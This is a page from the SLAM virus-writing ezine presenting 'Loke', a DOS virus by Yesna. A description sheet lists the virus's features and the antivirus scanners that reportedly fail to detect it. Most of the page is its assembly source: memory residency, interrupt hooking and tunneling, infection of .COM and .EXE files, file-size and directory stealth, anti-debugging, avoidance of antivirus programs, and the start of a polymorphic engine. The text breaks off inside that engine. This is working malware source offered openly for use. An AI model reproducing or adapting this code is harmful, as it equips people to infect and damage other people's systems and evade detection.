Copy Link
Add to Bookmark
Report

SLAM4.053: Loke by Yesna/SLAM

eZine's profile picture
Published in 
Slam
 · 4 Mar 2022

Comment * 
=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-
Author : Yesna
Group : SLAM
Virus Name : Loke
Version : 1.00
Origin : Denmark
-----------------------
Overview : Loke is a TSR/.COM/.EXE/SFT Stealth/Dir Stealth/Tunnel/Poly
virus.

Target : Loke will infect .EXE/.COM when Int 21h/4Bh, Int 21h/56h and
Int 21h/3Eh is being called.
Loke will not infect files smaller then 5000 byte and it avoids
Overlay and NewEXE files.

Ressy method : Loke is able to use UMB memory. It will first search for UMB
memory and allocate if found. If not it will use conventionel
memory. Loke goes memory resident by manipulating the MCB.

Hook Ints : Loke will hook Int 21h (DOS Service Calls) and the following
functions: 11h/12h/3Dh/3Eh/3Fh/40h/4Bh/4Eh/4Fh/56h/6Ch using
tunneling Int 21h by Int 30h/31h tracing. Interrupt 21h is
hooked via DOS bcoz if it was directly hook, its stealth
wouldn't work in DOS box.
It will also hook Int 24h (DOS Critical Error Handler)

Polymorphic : Loke uses it's own internal poly engine [GOE] which will
generate JMP's as garbage which then will jump to the actual
decryptor.

Encryption : Loke uses a simple XOR encryption as second layer. In the XOR
routine is an anti-emulation routine. ;)

Stealth : Loke uses SFT to stealth it's presence.
- On open (3Dh/6Ch) it will stealth true file size
- On read (3Fh) it will redirect current file header to the
original one
- On write (40h) it will disinfect the file.
- On close (3Eh) it will reinfect/infect the file

Loke also uses directory stealth to stealth the file size and
date/time stamp.
- Stealth using DTA (Int 21h/4Eh/4Fh)
- Stealth using FCB (Int 21h/11h/12h)

Anti-AV : It will also avoid infecting certain AV proggies including
command.com. Has an anti-debugging routine.

Anti-Emu : Loke has an anti-emulation routine.

Note : Loke works fine in DOS box and so does the SFT and directory
stealth.

DRWEB V.3.25 : No Detection
TBSCAN V.8.05 : No Detection, "J" flag set
NOD-ICE V.7.24 : No Detection
F-PROT V.2.28b : No Detection
AVP/AVPLITE V.3.0 : No Detection
Mcafee SCAN V.3.1.4 : No Detection ;)

Personal stuff: - My first released virus
- My first polymorphic virus
- My first full stealth virus

A BIG thanks goes to DARKMAN/29A for the help and for putting up with me =)

=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-
*
.Model Tiny
.Code ;Here we go...
Org 0h

Eff_Jump:
Call Decrypt ;Call decryptor routine...
Call Get_Delta

Get_Delta:
Pop Bp
Sub Bp, (Get_Delta-Eff_Jump) ;Delta offset

Cld ;Clear direction flag

Push Ds Es ;Keep regs as they were

Mov Ax, 6700h
Int 21h
Cmp Ax, 0AAAAh ;Ressy check
Je Restore_COM

Mov Ax, 2503h ;Hook Int 3 (Single Stepper)
Int 21h ;A bit of anti-debugging...

Push Es ;ES points to PSP

Call Trace_Int21 ;Tunneling routine...

Pop Cx ;CX = ES = PSP

Xor Di, Di ;DI = 0

Mov Ah, 52h ;Get pointer to INVARS
Int 21h

Lds Si, Dword Ptr Es:[Bx+12h] ;Points to DOS cache header

Mov Ax, Word Ptr Ds:[Si+1Fh] ;Get addy og first UMB MCB
Inc Ax
Jz No_UMB ;If 0FFFFh then no UMB
Dec Ax

Next_MCB:
Mov Ds, Ax ;DS = AX = First UMB MCB

Cmp Word Ptr Ds:[Di+1], Di ;Is it free?
Jnz Add_Size

Cmp Word Ptr Ds:[Di+3], ((Viruz_End-Eff_Jump+0Fh)*2+5050)/10h+1
Jae Handle_MCB ;Jump if our virus can fit

Add_Size:
Cmp Byte Ptr Ds:[Di], 'Z' ;If last in chain, no UMB
Jz No_UMB

Add Ax, Word Ptr Ds:[Di+3] ;Add MCB size to AX
Inc Ax ;AX = Next MCB
Jmp Next_MCB

No_UMB:
Dec Cx ;CX = MCB Field
Mov Ds, Cx ;DS = CX = MCB

Xchg Cx, Ax ;AX = CX = MCB

Cmp Byte Ptr Ds:[Di], 'Z' ;Better be last in chain
Jne Restore_COM ;If not then exit

Handle_MCB:
Mov Byte Ptr Ds:[Di], 'M' ;Mark as not last in chain
Sub Word Ptr Ds:[Di+3], ((Viruz_End-Eff_Jump+0Fh)*2+5050)/10h+1
Sub Word Ptr Ds:[Di+12h], ((Viruz_End-Eff_Jump+0Fh)*2+5050)/10h+1

Inc Ax ;AX = PSP
Add Ax, Word Ptr Ds:[Di+3] ;AX points to our new MCB
Mov Ds, Ax ;DS = AX = New MCB

Mov Byte Ptr Ds:[Di], 'Z' ;Marks as last in chain
Mov Word Ptr Ds:[Di+1], 8 ;DOS owner
Mov Word Ptr Ds:[Di+3], ((Viruz_End-Eff_Jump+0Fh)*2+5050)/10h

Inc Ax
Mov Es, Ax ;ES points to mem hole

Push Cs
Pop Ds ;DS = CS

Mov Si, Bp ;SI = BP = Start of virus
Mov Cx, (Viruz_End-Eff_Jump) ;Move virus up in mem
Rep MovSb

Push Es
Pop Ds ;DS = ES = Seg. of our MCB

Mov Ax, 2521h ;Hook Int 21h via DOS
Mov Dx, Offset Handle_Int21 ;DX = to our int 21 handler
Int 21h

;******************************************************************************
;* Jump Back To Host.... *
;******************************************************************************

Restore_COM:
Cmp Byte Ptr Cs:[Buffer][Bp], 4Dh ;.EXE file?
Je Restore_EXE ;Jump to EXE exit if equal

Pop Es Ds ;Restore DS and ES

Mov Di, 100h ;Start of COM proggy
Push Di ;Used to jump back to host
Lea Si, Ds:[First3][Bp] ;Restore header...
MovSw
MovSb

Xor Ax, Ax ;Clear Ax before host...

Ret ;Back to host...

First3 Db 0CDh, 20h, 0

Restore_EXE:
Pop Es Ds ;Restore DS and ES

Mov Ax, Ds ;AX = DS = PSP
Add Ax, 10h ;Start of EXE

Add Word Ptr Cs:[EXE_Cs_Ip+2][Bp], Ax ;Old CS reg...

Cli ;Disable interrupts

EXE_Sp Equ Word Ptr $+1 ;SP Variable
Mov Sp, 00h ;Old SP reg

EXE_Ss Equ Word Ptr $+1 ;SS variable
Add Ax, 00h ;Old SS reg...
Mov Ss, Ax

Sti ;Enable interrupts

Xor Ax, Ax ;Clear Ax before host

Db 0EAh ;Jump back to host...

EXE_Cs_Ip Dd ?

;******************************************************************************
;* Tunneling Interrupt 21h *
;* Using PSP *
;******************************************************************************

Trace_Int21:
Xor Ax, Ax
Mov Ds, Ax ;DS = AX = IVT
Mov Bx, 0C0h ;BX = Offset of Int 30h

Trace_Next:
Cmp Byte Ptr Ds:[Bx], 0EAh ;Is diz a jump?
Jnz Dispatch ;If not, jump to checker

Lds Bx, Dword Ptr Ds:[Bx+1] ;DS:BX = Seg./Off. of jump

Cmp Word Ptr Ds:[Bx], 9090h ;Start of dispatcher?
Jnz Trace_Next ;No, Then search for next

Sub Bx, 32h ;BX = Offset of int 21h

Cmp Word Ptr Ds:[Bx], 9090h ;Start of interrupt 21h?
Jnz Dispatch

Jmp Found_Int21 ;Ok we found the damn int

Dispatch:
Cmp Word Ptr Ds:[Bx], 2E1Eh ;Start of dispatcher?
Jnz Trace_Failed ;No! Well we failed...

Add Bx, 25h ;BX = Offset of int 21h

Cmp Word Ptr Ds:[Bx], 80FAh ;Start of interrupt 21h?
Jz Found_Int21 ;Equal? We found it!!

Trace_Failed:
Mov Ds, Ax ;DS = AX = IVT

Mov Si, 21h*4 ;SI = Offset of int 21h

Lds Bx, Dword Ptr Ds:[Si] ;Get Int 21h addy

Found_Int21:
Mov Word Ptr Cs:[OldInt21][Bp], Bx ;Save addy in variables
Mov Word Ptr Cs:[OldInt21+2][Bp], Ds

Ret

;******************************************************************************
;* Handle Interrupt 24h *
;* Handle DOS errors *
;******************************************************************************

Hook_Int24:
Push Ax Ds Es Di ;Save used registers

Xor Ax, Ax
Mov Ds, Ax ;DS = AX = IVT

Les Di, Dword Ptr Ds:[24h*4] ;Get int 24h addy

Mov Word Ptr Cs:[Old_Int24], Es ;Save original Int 24h addy
Mov Word Ptr Cs:[OldInt24], Di

Push Cs
Pop Ax ;AX = CS

Lea Di, Cs:[Handle_Int24] ;DI = to our int 24h handler

New_Int24:
Mov Word Ptr Ds:[24h*4+2], Ax
Mov Word Ptr Ds:[24h*4], Di ;Set new Int 24h addy

Pop Di Es Ds Ax ;Restore used registers

Ret

Unhook_Int24:
Push Ax Ds Es Di ;Save used registers

Xor Ax, Ax
Mov Ds, Ax ;DS = AX = IVT

OldInt24 Equ Word Ptr $+1 ;Int 24h Segment variable
Mov Ax, 00h ;AX = Int 24h segment

Old_Int24 Equ Word Ptr $+1 ;Int 24h Offset variable
Mov Di, 00h ;DI = Int 24h offset

Jmp New_Int24 ;Restore Interrupt 24h addy

Handle_Int24:
Mov Al, 3 ;Error handler...
Iret

;******************************************************************************
;* Handle Interrupt 21h Calls *
;******************************************************************************

Handle_Int21:
Cmp Ax, 6700h
Jne Its_Ok ;Ressy check...
Mov Ax, 0AAAAh
Iret

Its_Ok:
Call Push_All ;Save flags and regs

Cld ;Let's clear Direction Flag

Xor Ah, 10h ;Avoid AV alert

Cmp Ah, 11h Xor 10h ;Findfirst FCB
Je DIR_Stealth_FCB

Cmp Ah, 12h Xor 10h ;Findnext FCB
Je DIR_Stealth_FCB

Cmp Ah, 3Dh Xor 10h ;Open file
Je Stealth_OPEN

Cmp Ah, 3Eh Xor 10h ;Close file
Je Reinfect_FILE

Cmp Ah, 3Fh Xor 10h ;Read file
Je Stealth_READ

Cmp Ah, 40h Xor 10h ;Write file
Je Stealth_Write

Cmp Ah, 4Bh Xor 10h ;Execute file
Je Infect_File

Cmp Ah, 4Eh Xor 10h ;Findfirst DTA
Je DIR_Stealth_DTA

Cmp Ah, 4Fh Xor 10h ;Findnext DTA
Je DIR_Stealth_DTA

Cmp Ah, 56h Xor 10h ;Rename file
Je Infect_File

Cmp Ah, 6Ch Xor 10h ;Extended open file
Je Stealth_EXT_OPEN

Return:
Call Pop_All ;Restore old flags and regs

Jmp Dword Ptr Cs:[OldInt21] ;Original Interrupt 21h

DIR_Stealth_FCB:
Jmp Stealth_DIR_FCB

DIR_Stealth_DTA:
Jmp Stealth_DIR_DTA

Stealth_EXT_OPEN:
Xchg Si, Dx

Stealth_OPEN:
Jmp Do_OPEN_Stealth

Stealth_READ:
Jmp Do_READ_Stealth

Stealth_WRITE:
Jmp Do_WRITE_Stealth

Reinfect_FILE:
Jmp Do_Reinfect

Pre_Exit:
Jmp Exit

;******************************************************************************
;* Called By Interrupt (4Bh/56h) *
;*Diz routine will determine if it's a valid file or file is already infected.*
;******************************************************************************

Infect_File:
Call Hook_Int24 ;Assure no write error(s)

Mov Ax, 4301h
Mov Cx, 20h ;Reset file attributes
Call Int21

Mov Ax, 3D02h ;Open file
Call Int21

Xchg Ax, Bx ;BX = AX = File pointer

Call Check_File ;Check file...
Jc Done_Infection ;No AV or COMMAND.COM please

Close_Infect:
Mov Ax, Word Ptr Es:[Di+5] ;Device handler info...

Test Al, 80h ;No device, only file
Jnz Done_Infection

Test Ah, 0Fh ;No remote file...
Jnz Done_Infection

Call Check_It ;Are we infected?
Jc Done_Infection ;Exit on carry flag

Push Cs Cs
Pop Ds Es ;DS and ES = CS

Mov Ax, 5700h ;Get time/date stamp
Call Int21

Mov Word Ptr Ds:[Old_Time], Cx ;Save time in variable
Mov Word Ptr Ds:[Old_Date], Dx ;Save date in variable

Mov Ah, 3Fh
Mov Cx, 1Ch ;Read file header
Lea Dx, Ds:[Buffer] ;Into buffer...
Call Int21

Mov Cx, 1Ch
Lea Si, Ds:[Buffer] ;Copy Buffer
Lea Di, Ds:[Old_Buffer] ;Into Old_Buffer...
Rep MovSb

Lea Si, Ds:[Buffer]
Lea Di, Ds:[First3] ;First 3 bytes, for .COM
MovSw
MovSb

Call Seek_End ;Goto EOF

Cmp Ax, 5000
Jb Done_Infection ;Is file above 5000 bytes ?

Cmp Byte Ptr Ds:[Buffer], 4Dh ;.EXE file ?
Je Infect_EXE

Cmp Ax, 63000
Ja Done_Infection ;File above 63000 bytes ?

Sub Ax, 3
Mov Byte Ptr Ds:[Buffer], 0E9h ;Save jump opcode
Mov Word Ptr Ds:[Buffer+1], Ax ;Save offset to jump to

Offset_COM:
Add Ax, 103h
Xchg Ax, Bp ;Calculate offset in file

Write_Viruz:
Push Cs
Pop Es ;ES = CS
Call Infect ;Infect the file...hehehe

Done_Infection:
Mov Ah, 3Eh ;Close file...
Call Int21

Exit:
Call Unhook_Int24 ;No errors, we did our job
Jmp Return ;Jump back to Int 21h

;******************************************************************************
;* Diz routine will infect .EXE files NOT overlay .EXE *
;******************************************************************************

Infect_EXE:
Cmp Byte Ptr Ds:[Buffer+18h], 40h ;No NewEXE files...
Je Done_Infection

Cmp Byte Ptr Ds:[Buffer+1Ah], 0 ;No overlay files...
Jne Done_Infection

Les Ax, Dword Ptr Ds:[Buffer+14h] ;Points to CS/IP in header
Mov Word Ptr Ds:[EXE_Cs_Ip+2], Es ;Save CS in variable
Mov Word Ptr Ds:[EXE_Cs_Ip], Ax ;Save IP in variable

Les Ax, Dword Ptr Ds:[Buffer+0Eh] ;Points to SS/SP in header
Mov Word Ptr Ds:[EXE_Ss], Ax ;Save SS in variable
Mov Word Ptr Ds:[EXE_Sp], Es ;Save SP in variable

Call Seek_End ;Goto EOF

Push Ax Dx ;Save file size

Mov Cx, 10h ;Calculate new CS and IP
Div Cx

Mov Bp, Dx ;BP = DX = Offset in file

Sub Ax, Word Ptr Ds:[Buffer+8] ;Substract header size

Mov Word Ptr Ds:[Buffer+16h], Ax ;AX = New CS
Mov Word Ptr Ds:[Buffer+14h], Dx ;DX = New IP

Add Ax, ((Viruz_End-Eff_Jump)+5050)/10h+1 ;Calculate new stack segment

Mov Word Ptr Ds:[Buffer+0Eh], Ax ;AX = New SS
And Word Ptr Ds:[Buffer+10h], 0FFFEh ;New SP, No odd stack

Pop Dx Ax ;Old size of file
Add Ax, (Viruz_End-Eff_Jump)+5050 ;Add virus size to file
Adc Dx, 0h ;Add 1 to segment if > 64Kb

Mov Cx, 200h ;Convert into 512 byte pages
Div Cx

Or Dx, Dx
Je Dont_Inc_Page ;Even?

Inc Ax ;Increment on not even.

Dont_Inc_Page:

Mov Word Ptr Ds:[Buffer+2], Dx ;Save length of last page
Mov Word Ptr Ds:[Buffer+4], Ax ;Save number of pages

Jmp Write_Viruz ;Write virus to EOF

;******************************************************************************
;* Infect File By Writing New Header And Virus Body To EOF *
;******************************************************************************

Infect:
Call Random ;AX = Random word
Mov Byte Ptr Ds:[Crypt_Value], Al ;Save crypt value

Lea Di, Ds:[Viruz_End+5050] ;DI = Place to move code
Lea Si, Ds:[Eff_Jump] ;SI = Moving code from...
Mov Cx, (Viruz_End-Eff_Jump) ;CX = How many bytes to copy
Push Di Di ;Save DI for later use
Rep MovSb ;Copy the virus

Mov Cx, (Decrypt-Eff_Jump-3) ;CX = Number to crypt

Pop Si ;SI = Start of code to crypt
Add Si, 3 ;Don't crypt the CALL inst.

Call Second_Layer ;Do second encryption

Lea Di, Ds:[Viruz_End] ;DI = Start of crypt area
Pop Si ;SI = Start of code to crypt
Mov Cx, (Viruz_Code-Eff_Jump) ;CX = Number to encrypt

Push Bx Ax ;Save file handle
Call GOE ;Call internal poly engine
Pop Ax Bx ;Restore file handle

Mov Ax, (Viruz_End-Eff_Jump)+5050-1Dh
Sub Ax, Cx ;Calculate number of
Add Cx, Ax ;bytes to write

Mov Ah, 40h
Lea Dx, Ds:[Viruz_End] ;Write virus body...
Call Int21

Call Seek_End ;Goto EOF

Call Random ;Get a random word

Mov Byte Ptr Ds:[Old_Buffer+1Ch], Al ;Save crypt value...

Call Crypt_Header ;Crypt original file header

Mov Ah, 40h
Mov Cx, 1Dh ;Save encrypted original
Lea Dx, Ds:[Old_Buffer] ;header at EOF
Call Int21

Call Seek_Start ;Goto SOF

Mov Ah, 40h
Mov Cx, 1Ch ;Write new file header
Lea Dx, Ds:[Buffer]
Call Int21

Mov Ax, 5701h ;Set Time/Date Stamp

Old_Time Equ Word Ptr $+1 ;Original Time variable
Mov Cx, 00h ;CX = Original Time

Old_Date Equ Word Ptr $+1 ;Original Date variable
Mov Dx, 00h ;DX = Original Date

And Cx, 0FFE0h
Or Cl, 8 / 2 ;Infection mark
Call Int21 ;Set the infection mark

Ret

Error:
Jmp Done_Infection ;Infection finished...

;******************************************************************************
;* Called By Interrupt (3Dh/6Ch) *
;* Diz routine will stealth the true size of file on opening *
;******************************************************************************

Do_OPEN_Stealth:
Call Pop_All ;Restore flags and regs
Call Int21 ;Call original interrupt 21h
Jnc OPEN_OK

Stc
Retf 02h ;Return if error...

OPEN_OK:
Call Push_All ;Save regs and flags

Xchg Bx, Ax ;BX = AX = File handler
Call Get_SFT ;Get SFT of file
Jc No_OPEN ;Exit if error occured

Call Check_It ;Is it infected?
Jnc No_OPEN ;If not then exit

Sub Word Ptr Es:[Di+11h], (Viruz_End-Eff_Jump)+5050
Sbb Word Ptr Es:[Di+13h], 0 ;Substract virus size

No_OPEN:
Call Pop_All ;Restore used regs amd flags

Clc ;Clear carry flag

Retf 02h ;Return to host

;******************************************************************************
;* Called By Interrupt (3Fh) *
;* Diz routine will redirect read data to original data... *
;******************************************************************************

Do_READ_Stealth:
Call Pop_All
Call Push_All

Call Get_SFT ;Get SFT of file
Jc No_READ ;Error?

Call Check_It ;Is it infected?
Jnc No_READ ;Not? Then exit

Mov Ax, Word Ptr Es:[Di+5] ;Get device info of handle

Test Al, 80h ;No devices only files
Jnz No_READ ;device? Then exit...

Test Ah, 0Fh ;No remote files neither
Jnz No_READ

Mov Ax, Word Ptr Es:[Di+15h] ;Are we reading the header?
Cmp Ax, 1Ch
Jae No_READ ;No, then no stealth

Cmp Word Ptr Es:[Di+17h], 0 ;Exit if we are...
Jne No_READ

Mov Word Ptr Cs:[File_Off], Ax ;Save pointer in file...
Call Pop_All

Mov Word Ptr Cs:[Read_Off], Dx ;Save offset in file
Mov Word Ptr Cs:[Read_Seg], Ds ;Save segment in file

Call Int21 ;Call original interrupt 21h
Jnc Do_READ

Call Pop_All ;Restore used regs and flags
Stc ;Set carry flag
Retf 02h ;Back to host...

No_READ:
Jmp Return ;Back to host...

Do_READ:
Call Push_All ;Save used regs and flags
Call Get_SFT ;Get SFT of file
Jc Exit_READ ;Error?

Push Word Ptr Es:[Di+15h] ;Save offset in file
Push Word Ptr Es:[Di+17h] ;Save segment in file

Push Word Ptr Es:[Di+11h] ;Save low word file size
Push Word Ptr Es:[Di+13h] ;Save high word file size

Add Word Ptr Es:[Di+11h], (Viruz_End-Eff_Jump)+5050
Adc Word Ptr Es:[Di+13h], 0 ;Add virus size...

Call Seek_End ;Goto EOF

Sub Word Ptr Es:[Di+15h], 1Dh ;Substract 1Dh from file
Sbb Word Ptr Es:[Di+17h], 0 ;Pointing to crypted header

Push Cs
Pop Ds ;DS = CS

Mov Ah, 3Fh ;Read encrypted header
Mov Cx, 1Dh ;Read 1Dh bytes
Lea Dx, Ds:[Old_Buffer]
Call int21
Jc Error_READ ;Error?

Call Crypt_Header ;Decrypt header

Read_Off Equ Word Ptr $+1 ;Offset in file variable
Mov Di, 00h ;DI = Original off. in file

Read_Seg Equ Word Ptr $+1 ;Segment in file variable
Mov Ax, 00h ;AX = Original seg. in file

Push Ax
Pop Es ;ES = AX = Segment in file

File_Off Equ Word Ptr $+1 ;File pointer off. variable
Mov Ax, 00h ;AX = Original pointer off.

Lea Si, Ds:[Old_Buffer] ;SI points to old_buffer
Mov Cx, 1Ch ;Number to redirect
Add Di, Ax ;Add File pointer to off.
Add Si, Ax ;Add file pointer to old_buf
Sub Cx, Ax ;Subtract CX with file point
Rep MovSb ;Do redirect...

Error_READ:
Call Get_SFT ;Get SFT of file

Pop Word Ptr Es:[Di+13h] ;Restore high word of size
Pop Word Ptr Es:[Di+11h] ;Restore low word of size

Pop Word Ptr Es:[Di+17h] ;Restore file segment
Pop Word Ptr Es:[Di+15h] ;Restore file offset

Exit_READ:
Call Pop_All ;Restore used flags and regs
Clc ;Clear carry flag
Retf 02h ;Back to host...

;******************************************************************************
;* Reinfects/infects file on closing (3Eh) *
;******************************************************************************

Do_Reinfect:
Call Check_Exe_Com ;Is it command.com/AV?
Jc Already_Infected ;YES! then leave it alone!

Call Hook_Int24 ;No error today BABY!

Mov Ah, 45h ;Duplicate file handle
Call Int21
Jc Already_Infected ;Sheeit there was an error!

Xchg Ax, Bx ;BX = AX = new file handler

Call Seek_Start ;Goto SOF

Mov Word Ptr Es:[Di+2], 2 ;Set read/write open mode
Mov Byte Ptr Es:[Di+4], 20h ;Set archieve attribute

Jmp Close_Infect ;Infect the damn file...

Already_Infected:
Jmp Return ;Back to host...

;******************************************************************************
;* Called By Interrupt (40h) *
;* Disinfect if infected file is being writed to *
;******************************************************************************

Do_WRITE_Stealth:
Call Pop_All ;Restore Flag ans regs
Call Push_All ;Then save for on exit

Call Get_SFT ;Get SFT of file
Jc Error_ ;No errors

Call Check_It ;Is it infected?
Jc Disinfect ;Yes, then disinfect

Error_:
Jmp Error_WRITE ;Go away if not...

Disinfect:
Mov Ax, 2
Xchg Ax, Word Ptr Es:[Di+2] ;Force Read/Write open mode
Push Ax ;Save open mode on stack

Mov Al, 20h ;Change to archiev file
Xchg Al, Byte Ptr Es:[Di+4] ;Change file attributes
Push Ax ;Save file attributes

Push Word Ptr Es:[Di+15h] ;Save file pointer offset
Push Word Ptr Es:[Di+17h] ;Save file pointer segment

Add Word Ptr Es:[Di+11h], (Viruz_End-Eff_Jump)+5050
Adc Word Ptr Es:[Di+13h], 0 ;Add virus size

Call Seek_End ;Goto EOF

Sub Word Ptr Es:[Di+15h], 1Dh ;New file pointer offset
Sbb Word Ptr Es:[Di+17h], 0 ;New file pointer segment?

Push Cs
Pop Ds ;DS = CS
Mov Ah, 3Fh ;Read encrypted file
Mov Cx, 1Dh ;header into variable
Lea Dx, Ds:[Old_Buffer]
Call Int21

Call Crypt_Header ;Decrypt file header

Call Seek_Start ;Goto SOF
Lea Dx, Ds:[Old_Buffer] ;DX = Old_Buffer variable
Mov Cx, 1Ch ;Write decrypted header
Mov Ah, 40h ;to old file header
Call Int21

Call Seek_End ;Goto EOF
Sub Word Ptr Es:[Di+15h], (Viruz_End-Eff_Jump)+5050
Sbb Word Ptr Es:[Di+17h], 0 ;Restore old file size
Xor Cx, Cx
Mov Ah, 40h ;Delete virus body
Call Int21

Pop Word Ptr Es:[Di+17h] ;Restore old file pointer
Pop Word Ptr Es:[Di+15h] ;position

Pop Ax ;AX = File attribute
Mov Byte Ptr Es:[Di+4], Al ;Restore old file attribute

Pop Word Ptr Es:[Di+2] ;Restore old open mode

Mov Ah, 3Eh ;Close file
Call Int21
Error_WRITE:
Jmp Return ;Jump back to host...

;******************************************************************************
;* Called By Interrupt (11h/12h) *
;* Diz will stealth true file size and date/time stamp on FCB call *
;******************************************************************************

Stealth_DIR_FCB:
Call Pop_All ;Regs and flags restored

Call Int21 ;Original interrupt 21h

Call Push_All ;Save new regs and flags

Cmp Al, 255 ;If Al = 255 then no FCB
Je No_FCB

Mov Ah, 2Fh ;Get DTA info of file
Call Int21

Cmp Word Ptr Ds:[Bx], 0FFh ;Extended block?
Jne Not_Extended ;Jump if not

Add Bx, 7 ;Add 7 if it's extended

Not_Extended:
Mov Ax, Word Ptr Ds:[Bx+17h] ;AX = pointer to date/time
And Al, 1Fh

Cmp Al, 8 / 2
Jne No_FCB ;Is it infected?

Sub Word Ptr Ds:[Bx+1Dh], (Viruz_End-Eff_Jump)+5050
Sbb Word Ptr Ds:[Bx+1Fh], 0 ;Subtract virus size

No_FCB:
Call Pop_All ;Restore regs and flags

Clc ;Clear carry flag

Iret ;Back to DOS

;******************************************************************************
;* Called By Interrupt (4Eh/4Fh) *
;* Used to stealth true file size and date/time stamp on DTA *
;******************************************************************************

Stealth_DIR_DTA:
Call Pop_All ;Restore flags and regs

Call Int21 ;Original int 21h call
Jnc Do_DTA

Retf 02h ;Error occured..exit

Do_DTA:
Call Push_All ;Save new flags and regs

Mov Ah, 2Fh ;Get current DTA of file
Call Int21

Mov Ax, Word Ptr Ds:[Bx+16h] ;AX = Pointer date/time
And Al, 1Fh

Cmp Al, 8 / 2
Jne No_DTA ;Are we infected?

Sub Word Ptr Ds:[Bx+1Ah], (Viruz_End-Eff_Jump)+5050
Sbb Word Ptr Ds:[Bx+1Ch], 0 ;Subtract virus size

No_DTA:
Call Pop_All ;Restore flags and regs

Clc ;Clear carry flag

Retf 02h ;Back to host

;******************************************************************************
;* Diz routine will get the SFT of a file *
;******************************************************************************
Get_SFT:
Push Bx ;Save File handler on stack

Mov Ax, 1220h ;Get JFT of file
Int 2Fh
Jc SFT_Error ;If error then exit

Xor Bx, Bx
Mov Bl, Es:[Di] ;BL = System file entry

Cmp Bl, 0FFh ;If BL = 0FFh the no SFT
Je SFT_Error

Mov Ax, 1216h ;Get SFT of file
Int 2Fh ;ES:[DI] = SFT of file
Jc SFT_Error ;Error?

Pop Bx ;Restore file handler
Clc ;Clear carry flag
Ret

SFT_Error:
Pop Bx ;Restore file handler
Stc ;Set carry flag..error
Ret

;******************************************************************************
;* These routines will pop and push flags and regs *
;******************************************************************************

Pop_All:
Pop Word Ptr Cs:[Ret_Off]
Pop Bp Di Si Es Ds Dx Cx Bx Ax
Popf ;Restore flags and regs
Push Word Ptr Cs:[Ret_Off]
Ret

Push_All:
Pop Word Ptr Cs:[Ret_Off]
Pushf ;Save flags and regs
Push Ax Bx Cx Dx Ds Es Si Di Bp
Push Word Ptr Cs:[Ret_Off]
Ret

;******************************************************************************
;* These routines will goto EOF or SOF using SFT *
;******************************************************************************

Seek_End:
Call Get_SFT ;Get SFT of file
Mov Ax, Word Ptr Es:[Di+11h] ;AX = Low word of file size
Mov Word Ptr Es:[Di+15h], Ax ;Offset in file = AX
Mov Dx, Word Ptr Es:[Di+13h] ;DX= High word of file size
Mov Word Ptr Es:[Di+17h], Dx ;Segment in file = DX
Ret ;Goto EOF

Seek_Start:
Call Get_SFT
Mov Word Ptr Es:[Di+15h], 0 ;Offset in file = 0
Mov Word Ptr Es:[Di+17h], 0 ;Segment in file = 0
Ret ;Goto SOF

;******************************************************************************
;* Checks file for being COMMAND.COM and for being an AV *
;******************************************************************************

Check_Exe_Com:
Call Get_SFT ;Get SFT of file
Jc Check_Error ;Error?

Cmp Word Ptr Es:[Di+28h], 'XE' ;Is it an EXE file?
Je Check_File ;Yes, then check the file

Check_COM:
Cmp Word Ptr Es:[Di+28h], 'OC' ;Is it an COM file
Jne Check_Error ;No, then exit, not for us

Check_File:
Call Get_SFT ;Get SFT of file
Jc Check_Error ;Error?

Push Bx ;Save file handle
Xor Si, Si
Xor Bx, Bx
Xor Cx, Cx

New_Name:
Push Di
Mov Cl, Byte Ptr Cs:[Avoid+Si] ;Compare dat many bytes
Add Bx, Cx

Check_More:
Mov Al, Byte Ptr Cs:[Avoid+Si+1] ;Starting byte to compare..

Cmp Al, Byte Ptr Es:[20h+Di] ;File name from SFT
Jne No_Alert

Inc Si
Inc Di
Dec Cl
Jnz Check_More ;Alert?

Pop Di Bx ;Restore DI and file point

Check_Error:
Stc ;Argh - Dont infect...
Ret

No_Alert:
Pop Di
Inc Bx
Mov Si, Bx ;Yeah...proggy to check for
Cmp Bx, 38
Jae File_OK ;Have we checked for all?

Jmp New_Name ;Nope...

File_OK:
Pop Bx
Clc
Ret ;File was OK...proceed

;******************************************************************************
;* Crypts Original File Header - For Stealth Use *
;******************************************************************************

Crypt_Header:
Push Cs
Pop Es

Lea Di, Ds:[Old_Buffer] ;Points to decrypted buffer
Lea Si, Ds:[Old_Buffer] ;Points to encrypted buffer
Mov Cx, 1Ch ;Decrypt/encrypt 1Ch bytes

Do_Cryption:
LodSb ;Get DS:SI into AX
Xor Al, Byte Ptr Ds:[Old_Buffer+1Ch] ;Crypt file header
StoSb ;Store AX at ES:DI

Loop Do_Cryption ;Loop CX times

Ret

;******************************************************************************
;* Routine which check a file for being infected *
;******************************************************************************

Check_It:
Mov Al, Byte Ptr Es:[Di+0Dh] ;AL = SFT date/time stamp
And Al, 1Fh

Cmp Al, 8 / 2
Jne No ;Is it infected?

Stc ;Set carry flag..infected
Ret

No:
Clc ;Clear caryy flag
Ret ;Not infected

;******************************************************************************
;* Calls To Original Interrupts (21h) *
;******************************************************************************

Int21:
Pushf ;Push flags on stack
Call Dword Ptr Cs:[OldInt21] ;Call original Int 21h
Ret

Comment *
=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-

GERM OFFENSIVE ENGINE [GOE]
---------------------------
By Yesna

(My First Engine)

Note:
-----
Garbage Instructions consist of several:
JMP IMM16

Capable of generating following countregs:
MOV REG16, IMM16 (Regs = BX, SI, DI, BP)

Uses following encryption/decryption methods:
XOR/SUB/ADD

As incrementors its able to use:
INC/ADD

Diz engine has many limitations and its therefore only slightly polymorphic.


Input:
------
DS:SI = Start of virus code
ES:DI = W
CX = Virus size
AX = Decryptor offset

Output:
-------
CX = New size (Encrypted data + decryptor)
BP = Size of Decryptor Routine

Max. Decryptor = 5031 bytes.

=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-
*

GOE:
Push Ds

Push Cs
Pop Ds

Push Si ;Save start of code
